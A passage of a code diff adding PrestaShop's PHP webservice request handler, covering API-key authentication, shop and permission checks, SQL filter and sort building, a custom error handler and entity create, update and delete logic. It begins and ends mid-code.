$value['use_reduction'] : true); + $use_ecotax = (int)(isset($value['use_ecotax']) ? $value['use_ecotax'] : Configuration::get('PS_USE_ECOTAX')); + $specific_price_output = null; + $id_county = (isset($value['county']) ? $value['county'] : 0); + $return_value = Product::priceCalculation($id_shop, $value['object_id'], $id_product_attribute, $id_country, $id_state, $id_county, $id_currency, $id_group, $quantity, + $use_tax, $decimals, $only_reduc, $use_reduc, $use_ecotax, $specific_price_output, null); + $arr_return[$name] = array('sqlId'=>strtolower($name), 'value'=>$return_value); + } + return $arr_return; + } + // @todo : set this method out + /** + * This method is used for calculate the price for products on a virtual fields + * + * @param $entity_object + * @param array $parameters + * @return array + */ + public function specificPriceForCombination($entity_object, $parameters) + { + foreach(array_keys($parameters) as $name) + { + $parameters[$name]['object_id'] = $entity_object->id_product; + $parameters[$name]['product_attribute'] = $entity_object->id; + } + $arr_return = $this->specificPriceCalculation($parameters); + return $arr_return; + } + + /** + * Start Webservice request + * Check webservice activation + * Check autentication + * Check resource + * Check HTTP Method + * Execute the action + * Display the result + * + * @param string $key + * @param string $method + * @param string $url + * @param string $params + * @param string $inputXml + * + * @return array Returns an array of results (headers, content, type of resource...) + */ + public function fetch($key, $method, $url, $params, $bad_class_name, $inputXml = NULL) + { + // Time logger + $this->_startTime = microtime(true); + $this->objects = array(); + + // Error handler + set_error_handler(array($this, 'webserviceErrorHandler')); + ini_set('html_errors', 'off'); + + // Two global vars, for compatibility with the PS core... + global $webservice_call, $display_errors; + $webservice_call = true; + $display_errors = strtolower(ini_get('display_errors')) != 'off'; + // __PS_BASE_URI__ is from Shop::$current_base_uri + $this->wsUrl = Tools::getHttpHost(true).__PS_BASE_URI__.'api/'; + // set the output object which manage the content and header structure and informations + $this->objOutput = new WebserviceOutputBuilder($this->wsUrl); + + + + $this->_key = trim($key); + + $this->outputFormat = isset($params['output_format']) ? $params['output_format'] : $this->outputFormat; + // Set the render object to build the output on the asked format (XML, JSON, CSV, ...) + $this->objOutput->setObjectRender($this->getOutputObject($this->outputFormat)); + $this->params = $params; + // Check webservice activation and request authentication + if ($this->webserviceChecks()) + { + if ($bad_class_name) + $this->setError(500, 'Bad override class name for this key. Please update class_name field', 126); + // parse request url + $this->method = $method; + $this->urlSegment = explode('/', $url); + $this->urlFragments = $params; + $this->_inputXml = $inputXml; + $this->depth = isset($this->urlFragments['depth']) ? (int)$this->urlFragments['depth'] : $this->depth; + + + try { + // Method below set a particular fonction to use on the price field for products entity + // @see WebserviceRequest::getPriceForProduct() method + // @see WebserviceOutputBuilder::setSpecificField() method + $this->objOutput->setSpecificField($this, 'getPriceForProduct', 'price', 'products'); + if (isset($this->urlFragments['price'])) + { + $this->objOutput->setVirtualField($this, 'specificPriceForCombination', 'combinations', $this->urlFragments['price']); + $this->objOutput->setVirtualField($this, 'specificPriceForProduct', 'products', $this->urlFragments['price']); + } + } catch (Exception $e) { + $this->setError(500, $e->getMessage(), $e->getCode()); + } + + if (isset($this->urlFragments['language'])) + $this->_available_languages = $this->filterLanguage(); + else + { + foreach (Language::getLanguages() as $key=>$language) + $this->_available_languages[] = $language['id_lang']; + } + + if (empty($this->_available_languages)) + $this->setError(400, 'language is not available', 81); + + // Need to set available languages for the render object. + // Thus we can filter i18n field for the output + // @see WebserviceOutputXML::renderField() method for example + $this->objOutput->objectRender->setLanguages($this->_available_languages); + + // check method and resource + if (empty($this->errors) && $this->checkResource() && $this->checkHTTPMethod()) + { + // The resource list is necessary for build the output + $this->objOutput->setWsResources($this->resourceList); + + // if the resource is a core entity... + if (!isset($this->resourceList[$this->urlSegment[0]]['specific_management']) || !$this->resourceList[$this->urlSegment[0]]['specific_management']) + { + + // load resource configuration + if ($this->urlSegment[0] != '') + { + $object = new $this->resourceList[$this->urlSegment[0]]['class'](); + if (isset($this->resourceList[$this->urlSegment[0]]['parameters_attribute'])) + $this->resourceConfiguration = $object->getWebserviceParameters($this->resourceList[$this->urlSegment[0]]['parameters_attribute']); + else + $this->resourceConfiguration = $object->getWebserviceParameters(); + } + $success = false; + // execute the action + switch ($this->method) + { + case 'GET': + case 'HEAD': + if ($this->executeEntityGetAndHead()) + $success = true; + break; + case 'POST': + if ($this->executeEntityPost()) + $success = true; + break; + case 'PUT': + if ($this->executeEntityPut()) + $success = true; + break; + case 'DELETE': + $this->executeEntityDelete(); + break; + } + // Need to set an object for the WebserviceOutputBuilder object in any case + // because schema need to get webserviceParameters of this object + if (isset($object)) + $this->objects['empty'] = $object; + } + // if the management is specific + else + { + $specificObjectName = 'WebserviceSpecificManagement'.ucfirst(Tools::toCamelCase($this->urlSegment[0])); + if(!class_exists($specificObjectName)) + $this->setError(501, sprintf('The specific management class is not implemented for the "%s" entity.', $this->urlSegment[0]), 124); + else + { + $this->setFieldsToDisplay(); + $this->objectSpecificManagement = new $specificObjectName(); + $this->objectSpecificManagement->setObjectOutput($this->objOutput) + ->setWsObject($this); + + try { + $this->objectSpecificManagement->manage(); + } catch (WebserviceException $e) { + if ($e->getType() == WebserviceException::DID_YOU_MEAN) + $this->setErrorDidYouMean($e->getStatus(), $e->getMessage(), $e->getWrongValue(), $e->getAvailableValues(), $e->getCode()); + elseif ($e->getType() == WebserviceException::SIMPLE) + $this->setError($e->getStatus(), $e->getMessage(), $e->getCode()); + } + } + } + } + } + return $this->returnOutput(); + unset($webservice_call); + unset ($display_errors); + } + + protected function webserviceChecks() + { + return ($this->isActivated() && $this->authenticate() && $this->groupShopExists($this->params) && $this->shopExists($this->params) && $this->shopHasRight($this->_key)); + } + + /** + * Set a webservice error + * + * @param int $status + * @param string $label + * @param int $code + * @return void + */ + public function setError($status, $label, $code) + { + global $display_errors; + if (!isset($display_errors)) + $display_errors = strtolower(ini_get('display_errors')) != 'off'; + if (isset($this->objOutput)) + $this->objOutput->setStatus($status); + $this->errors[] = $display_errors ? array($code, $label) : 'Internal error. To see this error please display the PHP errors.'; + } + + /** + * Set a webservice error and propose a new value near from the available values + * + * @param int $num + * @param string $label + * @param array $value + * @param array $values + * @param int $code + * @return void + */ + public function setErrorDidYouMean($num, $label, $value, $available_values, $code) + { + $this->setError($num, $label.'. Did you mean: "'.$this->getClosest($value, $available_values).'"?'.(count($available_values) > 1 ? ' The full list is: "'.implode('", "', $available_values).'"' : ''), $code); + } + + /** + * Return the nearest value picked in the values list + * + * @param string $input + * @param array $words + * @return string + */ + protected function getClosest($input, $words) + { + $shortest = -1; + foreach ($words as $word) + { + $lev = levenshtein($input, $word); + if ($lev == 0) + { + $closest = $word; + $shortest = 0; + break; + } + if ($lev <= $shortest || $shortest < 0) + { + $closest = $word; + $shortest = $lev; + } + } + return $closest; + } + + /** + * Used to replace the default PHP error handler, in order to display PHP errors in a XML format + * + * @param string $errno contains the level of the error raised, as an integer + * @param array $errstr contains the error message, as a string + * @param array $errfile errfile, which contains the filename that the error was raised in, as a string + * @param array $errline errline, which contains the line number the error was raised at, as an integer + * @return boolean Always return true to avoid the default PHP error handler + */ + public function webserviceErrorHandler($errno, $errstr, $errfile, $errline) + { + $display_errors = strtolower(ini_get('display_errors')) != 'off'; + if (!(error_reporting() & $errno) || $display_errors) + return; + + $errortype = array ( + E_ERROR => 'Error', + E_WARNING => 'Warning', + E_PARSE => 'Parse', + E_NOTICE => 'Notice', + E_CORE_ERROR => 'Core Error', + E_CORE_WARNING => 'Core Warning', + E_COMPILE_ERROR => 'Compile Error', + E_COMPILE_WARNING => 'Compile Warning', + E_USER_ERROR => 'Error', + E_USER_WARNING => 'User warning', + E_USER_NOTICE => 'User notice', + E_STRICT => 'Runtime Notice', + E_RECOVERABLE_ERROR => 'Recoverable error' + ); + $type = (isset($errortype[$errno]) ? $errortype[$errno] : 'Unknown error'); + error_log('[PHP '.$type.' #'.$errno.'] '.$errstr.' ('.$errfile.', line '.$errline.')'); + + switch($errno) + { + case E_ERROR: + WebserviceRequest::getInstance()->setError(500, '[PHP Error #'.$errno.'] '.$errstr.' ('.$errfile.', line '.$errline.')', 2); + break; + case E_WARNING: + WebserviceRequest::getInstance()->setError(500, '[PHP Warning #'.$errno.'] '.$errstr.' ('.$errfile.', line '.$errline.')', 3); + break; + case E_PARSE: + WebserviceRequest::getInstance()->setError(500, '[PHP Parse #'.$errno.'] '.$errstr.' ('.$errfile.', line '.$errline.')', 4); + break; + case E_NOTICE: + WebserviceRequest::getInstance()->setError(500, '[PHP Notice #'.$errno.'] '.$errstr.' ('.$errfile.', line '.$errline.')', 5); + break; + case E_CORE_ERROR: + WebserviceRequest::getInstance()->setError(500, '[PHP Core #'.$errno.'] '.$errstr.' ('.$errfile.', line '.$errline.')', 6); + break; + case E_CORE_WARNING: + WebserviceRequest::getInstance()->setError(500, '[PHP Core warning #'.$errno.'] '.$errstr.' ('.$errfile.', line '.$errline.')', 7); + break; + case E_COMPILE_ERROR: + WebserviceRequest::getInstance()->setError(500, '[PHP Compile #'.$errno.'] '.$errstr.' ('.$errfile.', line '.$errline.')', 8); + break; + case E_COMPILE_WARNING: + WebserviceRequest::getInstance()->setError(500, '[PHP Compile warning #'.$errno.'] '.$errstr.' ('.$errfile.', line '.$errline.')', 9); + break; + case E_USER_ERROR: + WebserviceRequest::getInstance()->setError(500, '[PHP Error #'.$errno.'] '.$errstr.' ('.$errfile.', line '.$errline.')', 10); + break; + case E_USER_WARNING: + WebserviceRequest::getInstance()->setError(500, '[PHP User warning #'.$errno.'] '.$errstr.' ('.$errfile.', line '.$errline.')', 11); + break; + case E_USER_NOTICE: + WebserviceRequest::getInstance()->setError(500, '[PHP User notice #'.$errno.'] '.$errstr.' ('.$errfile.', line '.$errline.')', 12); + break; + case E_STRICT: + WebserviceRequest::getInstance()->setError(500, '[PHP Strict #'.$errno.'] '.$errstr.' ('.$errfile.', line '.$errline.')', 13); + break; + case E_RECOVERABLE_ERROR: + WebserviceRequest::getInstance()->setError(500, '[PHP Recoverable error #'.$errno.'] '.$errstr.' ('.$errfile.', line '.$errline.')', 14); + break; + default: + WebserviceRequest::getInstance()->setError(500, '[PHP Unknown error #'.$errno.'] '.$errstr.' ('.$errfile.', line '.$errline.')', 15); + } + return true; + } + + /** + * Check if there is one or more error + * + * @return boolean + */ + protected function hasErrors() + { + return (boolean)$this->errors; + } + + /** + * Check request authentication + * + * @return boolean + */ + protected function authenticate() + { + if (!$this->hasErrors()) + { + if (is_null($this->_key)) + { + $this->setError(401, 'Please enter the authentication key as the login. No password required', 16); + } + else + { + if (empty($this->_key)) + { + $this->setError(401, 'Authentication key is empty', 17); + } + elseif (strlen($this->_key) != '32') + { + $this->setError(401, 'Invalid authentication key format', 18); + } + else + { + $keyValidation = WebserviceKey::isKeyActive($this->_key); + if (is_null($keyValidation)) + { + $this->setError(401, 'Authentification key does not exist', 19); + } + elseif($keyValidation === true) + { + $this->keyPermissions = WebserviceKey::getPermissionForAccount($this->_key); + } + else + { + $this->setError(401, 'Authentification key is not active', 20); + } + + if (!$this->keyPermissions) + { + $this->setError(401, 'No permission for this authentication key', 21); + } + } + } + if ($this->hasErrors()) + { + header('WWW-Authenticate: Basic realm="Welcome to PrestaShop Webservice, please enter the authentication key as the login. No password required."'); + $this->objOutput->setStatus(401); + return false; + } + else + { + // only now we can say the access is authenticated + $this->_authenticated = true; + return true; + } + } + } + + /** + * Check webservice activation + * + * @return boolean + */ + protected function isActivated() + { + if (!Configuration::get('PS_WEBSERVICE')) + { + $this->setError(503, 'The PrestaShop webservice is disabled. Please activate it in the PrestaShop Back Office', 22); + return false; + } + return true; + } + + protected function shopHasRight($key) + { + $sql = 'SELECT 1 + FROM '._DB_PREFIX_.'webservice_account wsa LEFT JOIN '._DB_PREFIX_.'webservice_account_shop wsas ON (wsa.id_webservice_account = wsas.id_webservice_account) + WHERE wsa.key = \''.pSQL($key).'\''; + + foreach (self::$shopIDs as $id_shop) + { + $OR[] = ' wsas.id_shop = '.(int)$id_shop.' '; + } + $sql .= ' AND ('.implode('OR', $OR).') '; + if (!Db::getInstance()->getValue($sql)) + { + $this->setError(403, 'No permission for this key on this shop', 132); + return false; + } + return true; + } + + protected function shopExists($params) + { + if (count(self::$shopIDs)) + return true; + + if (isset($params['id_shop'])) + { + if ($params['id_shop'] != 'all' && is_numeric($params['id_shop'])) + { + Shop::setContext(Shop::CONTEXT_SHOP, (int)$params['id_shop']); + self::$shopIDs[] = (int)$params['id_shop']; + return true; + } + else if ($params['id_shop'] == 'all') + { + Shop::setContext(Shop::CONTEXT_ALL); + self::$shopIDs = Shop::getShops(true, null, true); + return true; + } + } + else + { + self::$shopIDs[] = Context::getContext()->shop->id; + return true; + } + $this->setError(404, 'This shop id does not exist', 999); + return false; + } + + protected function groupShopExists($params) + { + if (isset($params['id_group_shop']) && is_numeric($params['id_group_shop'])) + { + Shop::setContext(Shop::CONTEXT_GROUP, (int)$params['id_group_shop']); + self::$shopIDs = Shop::getShops(true, (int)$params['id_group_shop'], true); + if (count(self::$shopIDs) == 0) + { + // @FIXME Set ErrorCode ! + $this->setError(500, 'This group shop doesn\'t have shops', 999); + return false; + } + } + // id_group_shop isn't mandatory + return true; + } + + /** + * Check HTTP method + * + * @return boolean + */ + protected function checkHTTPMethod() + { + if (!in_array($this->method, array('GET', 'POST', 'PUT', 'DELETE', 'HEAD'))) + $this->setError(405, 'Method '.$this->method.' is not valid', 23); + elseif (isset($this->urlSegment[0]) && isset($this->resourceList[$this->urlSegment[0]]['forbidden_method']) && in_array($this->method, $this->resourceList[$this->urlSegment[0]]['forbidden_method'])) + $this->setError(405, 'Method '.$this->method.' is not allowed for the resource '.$this->urlSegment[0], 101); + elseif ($this->urlSegment[0] && !in_array($this->method, $this->keyPermissions[$this->urlSegment[0]])) + $this->setError(405, 'Method '.$this->method.' is not allowed for the resource '.$this->urlSegment[0].' with this authentication key', 25); + else + return true; + return false; + } + + /** + * Check resource validity + * + * @return boolean + */ + protected function checkResource() + { + $this->resourceList = $this->getResources(); + $resourceNames = array_keys($this->resourceList); + if ($this->urlSegment[0] == '') + $this->resourceConfiguration['objectsNodeName'] = 'resources'; + elseif (in_array($this->urlSegment[0], $resourceNames)) + { + if (!in_array($this->urlSegment[0], array_keys($this->keyPermissions))) + { + $this->setError(401, 'Resource of type "'.$this->urlSegment[0].'" is not allowed with this authentication key', 26); + return false; + } + } + else + { + $this->setErrorDidYouMean(400, 'Resource of type "'.$this->urlSegment[0].'" does not exists', $this->urlSegment[0], $resourceNames, 27); + return false; + } + return true; + } + + + protected function setObjects() + { + $objects = array(); + $arr_avoid_id = array(); + $ids = array(); + if (isset($this->urlFragments['id'])) + { + preg_match('#^\[(.*)\]$#Ui', $this->urlFragments['id'], $matches); + if (count($matches) > 1) + $ids = explode(',', $matches[1]); + } + else + { + $ids[] = (int)$this->urlSegment[1]; + } + if (!empty($ids)) + { + foreach ($ids as $id) + { + $object = new $this->resourceConfiguration['retrieveData']['className']((int)$id); + if (!$object->id) + $arr_avoid_id[] = $id; + else + $objects[] = $object; + } + } + + if (!empty($arr_avoid_id) || empty($ids)) + { + $this->setError(404, 'Id(s) not exists: '.implode(', ', $arr_avoid_id), 87); + $this->_outputEnabled = true; + } + else + { + + } + } + + protected function parseDisplayFields($str) + { + $bracket_level = 0; + $part = array(); + $tmp = ''; + for ($i = 0; $i < strlen($str); $i++) + { + if ($str[$i] == ',' && $bracket_level == 0) + { + $part[] = $tmp; + $tmp = ''; + } + else + $tmp .= $str[$i]; + if ($str[$i] == '[') + $bracket_level++; + if ($str[$i] == ']') + $bracket_level--; + } + if ($tmp != '') + $part[] = $tmp; + $fields = array(); + foreach ($part as $str) + { + $field_name = trim(substr($str, 0, (strpos($str, '[') === false ? strlen($str) : strpos($str, '[')))); + if (!isset($fields[$field_name])) $fields[$field_name] = null; + if (strpos($str, '[') !== false) + { + $sub_fields = substr($str, strpos($str, '[') + 1, strlen($str) - strpos($str, '[') - 2); + $tmp_array = array(); + if (strpos($sub_fields, ',') !== false) + $tmp_array = explode(',', $sub_fields); + else + $tmp_array = array($sub_fields); + $fields[$field_name] = (is_array($fields[$field_name])) ? array_merge($fields[$field_name], $tmp_array) : $tmp_array; + } + } + return $fields; + } + + public function setFieldsToDisplay() + { + // set the fields to display in the list : "full", "minimum", "field_1", "field_1,field_2,field_3" + if (isset($this->urlFragments['display'])) + { + $this->fieldsToDisplay = $this->urlFragments['display']; + if ($this->fieldsToDisplay != 'full' && $this->fieldsToDisplay != 'minimum') + { + preg_match('#^\[(.*)\]$#Ui', $this->fieldsToDisplay, $matches); + if (count($matches)) + { + $error = false; + $fieldsToTest = $this->parseDisplayFields($matches[1]); + foreach ($fieldsToTest as $field_name => $part) + { + // in case it is not an association + if (!is_array($part)) + { + // We have to allow new specific field for price calculation too + $error = (!isset($this->resourceConfiguration['fields'][$field_name]) && !isset($this->urlFragments['price'][$field_name])); + } + else + { + // if this association does not exists + if (!array_key_exists($field_name, $this->resourceConfiguration['associations'])) { + $error = true; + } + foreach ($part as $field) + if ($field != 'id' && !array_key_exists($field, $this->resourceConfiguration['associations'][$field_name]['fields'])) + { + $error = true; + break; + } + } + if ($error) + { + $this->setError(400,'Unable to display this field "'.$field_name.(is_array($part) ? ' (details : '.var_export($part, true).')' : '').'". However, these are available: '.implode(', ', array_keys($this->resourceConfiguration['fields'])), 35); + return false; + } + } + $this->fieldsToDisplay = $fieldsToTest; + } + else + { + $this->setError(400, 'The \'display\' syntax is wrong. You can set \'full\' or \'[field_1,field_2,field_3,...]\'. These are available: '.implode(', ', array_keys($this->resourceConfiguration['fields'])), 36); + return false; + } + } + } + return true; + } + + protected function manageFilters() + { + // filtered fields which can not use filters : hidden_fields + $available_filters = array(); + // filtered i18n fields which can use filters + $i18n_available_filters = array(); + foreach ($this->resourceConfiguration['fields'] as $fieldName => $field) + if ((!isset($this->resourceConfiguration['hidden_fields']) || + (isset($this->resourceConfiguration['hidden_fields']) && !in_array($fieldName, $this->resourceConfiguration['hidden_fields'])))) + if ((!isset($field['i18n']) || + (isset($field['i18n']) && !$field['i18n']))) + $available_filters[] = $fieldName; + else + $i18n_available_filters[] = $fieldName; + + // Date feature : date=1 + if (!empty($this->urlFragments['date']) && $this->urlFragments['date']) + { + if (!in_array('date_add', $available_filters)) + $available_filters[] = 'date_add'; + if (!in_array('date_upd', $available_filters)) + $available_filters[] = 'date_upd'; + if (!array_key_exists('date_add', $this->resourceConfiguration['fields'])) + $this->resourceConfiguration['fields']['date_add'] = array('sqlId' => 'date_add'); + if (!array_key_exists('date_upd', $this->resourceConfiguration['fields'])) + $this->resourceConfiguration['fields']['date_upd'] = array('sqlId' => 'date_upd'); + } + else + foreach ($available_filters as $key => $value) + if ($value == 'date_add' || $value == 'date_upd') + unset($available_filters[$key]); + + //construct SQL filter + $sql_filter = ''; + $sql_join = ''; + if ($this->urlFragments) + { + $schema = 'schema'; + // if we have to display the schema + if (isset($this->urlFragments[$schema])) + { + if ($this->urlFragments[$schema] == 'blank' || $this->urlFragments[$schema] == 'synopsis') + { + $this->schemaToDisplay = $this->urlFragments[$schema]; + return true; + } + else + { + $this->setError(400, 'Please select a schema of type \'synopsis\' to get the whole schema informations (which fields are required, which kind of content...) or \'blank\' to get an empty schema to fill before using POST request', 28); + return false; + } + } + else + { + // if there are filters + if (isset($this->urlFragments['filter'])) + foreach ($this->urlFragments['filter'] as $field => $url_param) + { + if ($field != 'sort' && $field != 'limit') + { + if (!in_array($field, $available_filters)) + { + // if there are linked tables + if (isset($this->resourceConfiguration['linked_tables']) && isset($this->resourceConfiguration['linked_tables'][$field])) + { + // contruct SQL join for linked tables + $sql_join .= 'LEFT JOIN `'.bqSQL(_DB_PREFIX_.$this->resourceConfiguration['linked_tables'][$field]['table']).'` '.bqSQL($field).' ON (main.`'.bqSQL($this->resourceConfiguration['fields']['id']['sqlId']).'` = '.bqSQL($field).'.`'.bqSQL($this->resourceConfiguration['fields']['id']['sqlId']).'`)'."\n"; + + // construct SQL filter for linked tables + foreach ($url_param as $field2 => $value) + { + if (isset($this->resourceConfiguration['linked_tables'][$field]['fields'][$field2])) + { + $linked_field = $this->resourceConfiguration['linked_tables'][$field]['fields'][$field2]; + $sql_filter .= $this->getSQLRetrieveFilter($linked_field['sqlId'], $value, $field.'.'); + } + else + { + $list = array_keys($this->resourceConfiguration['linked_tables'][$field]['fields']); + $this->setErrorDidYouMean(400, 'This filter does not exist for this linked table', $field2, $list, 29); + return false; + } + } + } + elseif ($url_param != '' && in_array($field, $i18n_available_filters)) + { + if (!is_array($url_param)) + $url_param = array($url_param); + $sql_join .= 'LEFT JOIN `'.bqSQL(_DB_PREFIX_.$this->resourceConfiguration['retrieveData']['table']).'_lang` AS main_i18n ON (main.`'.pSQL($this->resourceConfiguration['fields']['id']['sqlId']).'` = main_i18n.`'.bqSQL($this->resourceConfiguration['fields']['id']['sqlId']).'`)'."\n"; + foreach ($url_param as $field2 => $value) + { + $linked_field = $this->resourceConfiguration['fields'][$field]; + $sql_filter .= $this->getSQLRetrieveFilter($linked_field['sqlId'], $value, 'main_i18n.'); + $language_filter = '['.implode('|',$this->_available_languages).']'; + $sql_filter .= $this->getSQLRetrieveFilter('id_lang', $language_filter, 'main_i18n.'); + } + } + // if there are filters on linked tables but there are no linked table + elseif (is_array($url_param)) + { + if (isset($this->resourceConfiguration['linked_tables'])) + $this->setErrorDidYouMean(400, 'This linked table does not exist', $field, array_keys($this->resourceConfiguration['linked_tables']), 30); + else + $this->setError(400, 'There is no existing linked table for this resource', 31); + return false; + } + else + { + $this->setErrorDidYouMean(400, 'This filter does not exist', $field, $available_filters, 32); + return false; + } + } + elseif ($url_param == '') + { + $this->setError(400, 'The filter "'.$field.'" is malformed.', 33); + return false; + } + else + { + if (isset($this->resourceConfiguration['fields'][$field]['getter'])) + { + $this->setError(400, 'The field "'.$field.'" is dynamic. It is not possible to filter GET query with this field.', 34); + return false; + } + else + { + if (isset($this->resourceConfiguration['retrieveData']['tableAlias'])) { + $sql_filter .= $this->getSQLRetrieveFilter($this->resourceConfiguration['fields'][$field]['sqlId'], $url_param, $this->resourceConfiguration['retrieveData']['tableAlias'].'.'); + } else { + $sql_filter .= $this->getSQLRetrieveFilter($this->resourceConfiguration['fields'][$field]['sqlId'], $url_param); + } + } + } + } + } + } + } + + if (!$this->setFieldsToDisplay()) + return false; + // construct SQL Sort + $sql_sort = ''; + if (isset($this->urlFragments['sort'])) + { + preg_match('#^\[(.*)\]$#Ui', $this->urlFragments['sort'], $matches); + if (count($matches) > 1) + $sorts = explode(',', $matches[1]); + else + $sorts = array($this->urlFragments['sort']); + + $sql_sort .= ' ORDER BY '; + foreach ($sorts as $sort) + { + $delimiterPosition = strrpos($sort, '_'); + if ($delimiterPosition !== false) + { + $fieldName = substr($sort, 0, $delimiterPosition); + $direction = strtoupper(substr($sort, $delimiterPosition + 1)); + } + if ($delimiterPosition === false || !in_array($direction, array('ASC', 'DESC'))) + { + $this->setError(400, 'The "sort" value has to be formed as this example: "field_ASC" or \'[field_1_DESC,field_2_ASC,field_3_ASC,...]\' ("field" has to be an available field)', 37); + return false; + } + elseif (!in_array($fieldName, $available_filters) && !in_array($fieldName, $i18n_available_filters)) + { + $this->setError(400, 'Unable to filter by this field. However, these are available: '.implode(', ', $available_filters).', for i18n fields:'.implode(', ', $i18n_available_filters), 38); + return false; + } + // for sort on i18n field + elseif (in_array($fieldName, $i18n_available_filters)) + { + if (!preg_match('#main_i18n#', $sql_join)) + $sql_join .= 'LEFT JOIN `'._DB_PREFIX_.pSQL($this->resourceConfiguration['retrieveData']['table']).'_lang` AS main_i18n ON (main.`'.pSQL($this->resourceConfiguration['fields']['id']['sqlId']).'` = main_i18n.`'.pSQL($this->resourceConfiguration['fields']['id']['sqlId']).'`)'."\n"; + $sql_sort .= 'main_i18n.`'.pSQL($this->resourceConfiguration['fields'][$fieldName]['sqlId']).'` '.$direction.', ';// ORDER BY main_i18n.`field` ASC|DESC + } + else + $sql_sort .= (isset($this->resourceConfiguration['retrieveData']['tableAlias']) ? $this->resourceConfiguration['retrieveData']['tableAlias'].'.' : '').'`'.pSQL($this->resourceConfiguration['fields'][$fieldName]['sqlId']).'` '.$direction.', ';// ORDER BY `field` ASC|DESC + } + $sql_sort = rtrim($sql_sort, ', ')."\n"; + } + + //construct SQL Limit + $sql_limit = ''; + if (isset($this->urlFragments['limit'])) + { + $limitArgs = explode(',', $this->urlFragments['limit']); + if (count($limitArgs) > 2) + { + $this->setError(400, 'The "limit" value has to be formed as this example: "5,25" or "10"', 39); + return false; + } + else + { + $sql_limit .= ' LIMIT '.(int)($limitArgs[0]).(isset($limitArgs[1]) ? ', '.(int)($limitArgs[1]) : '')."\n";// LIMIT X|X, Y + } + } + $filters['sql_join'] = $sql_join; + $filters['sql_filter'] = $sql_filter; + $filters['sql_sort'] = $sql_sort; + $filters['sql_limit'] = $sql_limit; + + return $filters; + } + + + + public function getFilteredObjectList() + { + $objects = array(); + $filters = $this->manageFilters(); + $this->resourceConfiguration['retrieveData']['params'][] = $filters['sql_join']; + $this->resourceConfiguration['retrieveData']['params'][] = $filters['sql_filter']; + $this->resourceConfiguration['retrieveData']['params'][] = $filters['sql_sort']; + $this->resourceConfiguration['retrieveData']['params'][] = $filters['sql_limit']; + //list entities + + $tmp = new $this->resourceConfiguration['retrieveData']['className'](); + $sqlObjects = call_user_func_array(array($tmp, $this->resourceConfiguration['retrieveData']['retrieveMethod']), $this->resourceConfiguration['retrieveData']['params']); + if ($sqlObjects) + { + foreach ($sqlObjects as $sqlObject) + $objects[] = new $this->resourceConfiguration['retrieveData']['className']((int)$sqlObject[$this->resourceConfiguration['fields']['id']['sqlId']]); + return $objects; + } + } + + public function getFilteredObjectDetails() + { + $objects = array(); + if (!isset($this->urlFragments['display'])) + $this->fieldsToDisplay = 'full'; + + // Check if Object is accessible for this/those id_shop + $assoc = Shop::getAssoTable($this->resourceConfiguration['retrieveData']['table']); + if ($assoc !== false) + { + $sql = 'SELECT 1 + FROM `'.bqSQL(_DB_PREFIX_.$this->resourceConfiguration['retrieveData']['table']); + if ($assoc['type'] != 'fk_shop') + $sql .= '_'.$assoc['type']; + $sql .= '`'; + + foreach (self::$shopIDs as $id_shop) + $OR[] = ' id_shop = '.(int)$id_shop.' '; + + $check = ' WHERE ('.implode('OR', $OR).') AND `'.bqSQL($this->resourceConfiguration['fields']['id']['sqlId']).'` = '.(int)$this->urlSegment[1]; + if (!Db::getInstance()->getValue($sql.$check)) + $this->setError(403, 'Bad id_shop : You are not allowed to access this '.$this->resourceConfiguration['retrieveData']['className'].' ('.(int)$this->urlSegment[1].')', 131); + } + + //get entity details + $object = new $this->resourceConfiguration['retrieveData']['className']((int)$this->urlSegment[1]); + if ($object->id) + { + $objects[] = $object; + return $objects; + } + elseif (!count($this->errors)) + { + $this->objOutput->setStatus(404); + $this->_outputEnabled = false; + return false; + } + } + + /** + * Execute GET and HEAD requests + * + * Build filter + * Build fields display + * Build sort + * Build limit + * + * @return boolean + */ + public function executeEntityGetAndHead() + { + if ($this->resourceConfiguration['objectsNodeName'] != 'resources') + { + if (!isset($this->urlSegment[1]) || !strlen($this->urlSegment[1])) + $return = $this->getFilteredObjectList(); + else + $return = $this->getFilteredObjectDetails(); + + if (!$return) + return false; + else + $this->objects = $return; + } + return true; + } + + /** + * Execute POST method on a PrestaShop entity + * + * @return boolean + */ + protected function executeEntityPost() + { + return $this->saveEntityFromXml(201); + } + + /** + * Execute PUT method on a PrestaShop entity + * + * @return boolean + */ + protected function executeEntityPut() + { + return $this->saveEntityFromXml(200); + } + + /** + * Execute DELETE method on a PrestaShop entity + * + * @return boolean + */ + protected function executeEntityDelete() + { + $objects = array(); + $arr_avoid_id = array(); + $ids = array(); + if (isset($this->urlFragments['id'])) + { + preg_match('#^\[(.*)\]$#Ui', $this->urlFragments['id'], $matches); + if (count($matches) > 1) + $ids = explode(',', $matches[1]); + } + else + { + $ids[] = (int)$this->urlSegment[1]; + } + if (!empty($ids)) + { + foreach ($ids as $id) + { + $object = new $this->resourceConfiguration['retrieveData']['className']((int)$id); + if (!$object->id) + $arr_avoid_id[] = $id; + else + $objects[] = $object; + } + } + + if (!empty($arr_avoid_id) || empty($ids)) + { + $this->setError(404, 'Id(s) not exists: '.implode(', ', $arr_avoid_id), 87); + $this->_outputEnabled = true; + } + else + { + foreach ($objects as $object) + { + if (isset($this->resourceConfiguration['objectMethods']) && isset($this->resourceConfiguration['objectMethods']['delete'])) + $result = $object->{$this->resourceConfiguration['objectMethods']['delete']}(); + else + $result = $object->delete(); + + if (!$result) + $arr_avoid_id[] = $object->id; + } + if (!empty($arr_avoid_id)) + { + $this->setError(500, 'Id(s) wasn\'t deleted: '.implode(', ', $arr_avoid_id), 88); + $this->_outputEnabled = true; + } + else + { + $this->_outputEnabled = false; + } + } + } + + /** + * save Entity Object from XML + * + * @param int $successReturnCode + * @return boolean + */ + protected function saveEntityFromXml($successReturnCode) + { + try + { + $xml = new SimpleXMLElement($this->_inputXml); + } + catch (Exception $error) + { + $this->setError(500, 'XML error : '.$error->getMessage()."\n".'XML length : '.strlen($this->_inputXml)."\n".'Original XML : '.$this->_inputXml, 127); + return; + } + $xmlEntities = $xml->children(); + $object = null; + + $ids = array(); + foreach ($xmlEntities as $entity) + { + // To cast in string allow to check null values + if ((string)$entity->id != '') + $ids[] = (int)$entity->id; + } + if ($this->method == 'PUT') + { + $ids2 = array(); + $ids2 = array_unique($ids); + if (count($ids2) != count($ids)) + { + $this->setError(400, 'id is duplicate in request', 89); + return false; + } + if (count($xmlEntities) != count($ids)) + { + $this->setError(400, 'id is required when modifying a resource', 90); + return false; + } + } + elseif ($this->method == 'POST' && count($ids) > 0) + { + $this->setError(400, 'id is forbidden when adding a new resource', 91); + return false; + } + + foreach ($xmlEntities as $xmlEntity) + 